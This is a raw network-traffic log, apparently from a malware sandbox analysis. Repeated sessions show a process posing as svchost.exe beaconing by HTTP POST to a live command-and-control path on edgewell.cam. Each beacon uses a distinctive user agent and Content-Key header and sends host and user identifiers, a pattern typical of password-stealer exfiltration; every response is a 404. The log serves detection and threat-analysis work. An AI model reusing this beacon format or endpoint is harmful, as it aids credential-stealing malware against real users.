Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49803	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:21.007406950 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:21.056752920 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:21.668618917 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FAPgN%2BrlnREkRRsuZ4NMtKRyGLEBBuuO1seJA8BpPmQmhgq6%2FZf1uJGZVAnHsIwiPR7A7Re1In3uuhkfTWYrsMyEju7XrvhOIuvKfx7vB6BKdZgn%2F6PKl4CUegzK%2BDo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e5bde05439c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49804	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:21.838596106 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:21.888648987 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:22.512217045 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n0E4esxpKdVipeBZFI%2FnoKL8R51ky0E8Lv7wQPFYraOUDXpMiTTeSOxBhTOYrowwZDtOIPz4L%2Fug4R5Lf4AII7CoyyX%2Bbm4VvVaLn6qqx21hAzpvE0nqZHA08dYjJwo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e6119d73342-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49805	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:22.782485962 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:22.832621098 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:23.513103962 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4XHwe9vxkbEaurYMhTgjLU2MXFYtVdtHoco%2Fkdi%2F3RMOSUEo9nF%2FcJO%2F3SW%2FuchQcP3n6cVbR25NbMijuuG8bmgZT%2FhRLUylv50JTqR%2BFRqhN76aFWVMV6KlboFPnYI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e66fa741778-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49806	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:23.686553001 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:23.707205057 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:24.370537996 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w6xGCD9uRbftPAZl7kec6%2ByJ1iuz%2FVeQpVe5Cejbl7ndTxlZfb5uTcg5sG%2FOA9HOM5ZhdWa7gaEsAZ9iJBrxLby8pGrmFM3iSpQF54A67HVw8Kkve0GSzMuglQ%2FR0lo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e6cbb267cae-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49807	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:24.574892998 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:24.614794970 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:25.279051065 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:25 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tU6M%2FNK5IpW%2FRvAeXZc1bg9%2FLE2PgoVHAUT77BFJeDQNlWUYsm0%2FHeblFxTuUcmH3FHnj%2BKuW%2F9BLS334IV9hNukanTFV0XMjeUi5vmp2J5T41hUuD3V4Pb0BNtb99w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e722bba8c3c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49808	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:25.471357107 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:25.481043100 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:26.167741060 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3pUvDTJs33oLEMAyUppRyX8%2BiR5eI%2BWUccxuYKLDDrfxwXF0gA0eykoKY1uhNMyeFd313kjcqYgAWkipQeO%2Fuq22zM0GF8aTqRRVtvwHMcr%2BsxSpcBI9FRFrlO%2BmwrA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e77cbb11a13-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49809	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:26.338973045 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:26.388911009 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:27.055355072 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CLPmjSVs0bC2MBO2rcWfCdg1x17%2F24AFlw8f6gMbPWPixdV6w48grc3PadcljP%2FyIiF8QPKDHXPVqwzkEffkQAg9ujRqpLiXeIvdjdJAcwixVF3ikQ6DwUbPmDg%2FsYA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e7d3ea45e79-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49810	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:27.314090967 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:27.575017929 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:28.223341942 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Cet%2BEhmSjhdQGvJjbz8LhEPdfSXyTjdjXwZ0C7OH1Ao096moUluS2us%2F22tqoAAwPf4vR8ZJaAqF5XnFUTjfvGLYAST201da2SxZuOqjr5qqHtcP8RoVe2CT5l%2BjYU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e84cbd27d1a-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	49811	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:28.412600040 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:28.455782890 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:29.140816927 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SfQQYJcnmPUSjdjSDUxQptsHZr%2F%2BJSw51C%2BPDLyeppwHJcXWqO71jasef8GMIT6Q%2Fl7i7W8vCj4dIvR4rxh2Y%2FSEOhqMLhfbQFK2x7JEtYJHQ%2BxsTKa8wrVhg7tiTrM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e8a4e779e05-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	49812	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:29.323327065 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:29.378393888 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:29.992249012 CEST	595	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:29 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lF5KV5IS1q7HgK55d2em%2B1SuSNx%2BurNl2acv23qJqgvHFEs99q4lFT0XqgFhst0ktX51bXq5AtcM3OSMVug6OvYG27Qy7sAWiz8xRRatRYOvDUctUYGd25pO5HCTw%2FM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e8fde8dc477-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49813	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:30.172585964 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:30.181250095 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:30.835333109 CEST	603	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DUZsXpGkvJhXOWnR%2FMmr5p6L%2Bpm1sVafkm9iE8%2BGimZxCHab7yyy9RmGlcGPPPMTanYHhYnk5sNm4%2FcNB0I%2BDCKm13LfZ48r5I2Mg%2BwJpuNaTFew%2F3A1c1HiHJoZgxY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e953e965e74-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49814	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:31.013040066 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:31.060694933 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:31.666645050 CEST	591	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Z7eN%2BPEeV3dT1imJH7WDuqGwuxn1YqtolhzjrpnKME7XtmHbz7Y2oHJm2Ej8SCC4fR2P09z7eBIwKPdE3AeFBeCd7q9qqgxwPHeXMncWo6xcsHZYAO0tHur1sbzVk8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20e9a6b0e4243-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49815	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:33.709939957 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:33.767760992 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:34.419543028 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HEjMcDBmln2qTUu9BsPSNVu0G%2F9nhWpc5RuWCTT9ifjUiKtuc4bYWQ9%2BRy9F5vsvlj5yQP4TFNHplQIbJY3hV2kZOwf0sU%2F%2F7ng%2Bz05%2BMakAJt7Zd23XcG95EmlEpcs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20eab4a8232d3-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49816	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:34.603701115 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:34.652604103 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:35.291377068 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D7xEcNSw%2FE%2F9jhKIA5YQofXzrClO0Yf6lKn%2Fl9KAuvV0HGqMHhiYh5vT5iWOrHZ1T42spqMy%2BvzZ%2BnEgKv992UKiXZkWJy0EdYDRSczsuBqaDV1FU6561uqJ7l1lYuY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20eb0ed0d0c9d-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49817	104.21.85.101	80

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:35.485662937 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:58:35.525350094 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:58:36.158514977 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:58:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=snwP8lbV%2F5b81sT5iJ1MDBnfE2bTS9twMiocIG8TbXbaaIsN%2FAHxSLwaCi53brol0XDHLn7BQ6aruKM7zM%2FH0YndXsJf4m5yYNKH%2FnYurnAU5wJdQQ0bxkMzD4ECGtE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20eb66dbe4268-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49818	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:58:36.335491896 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
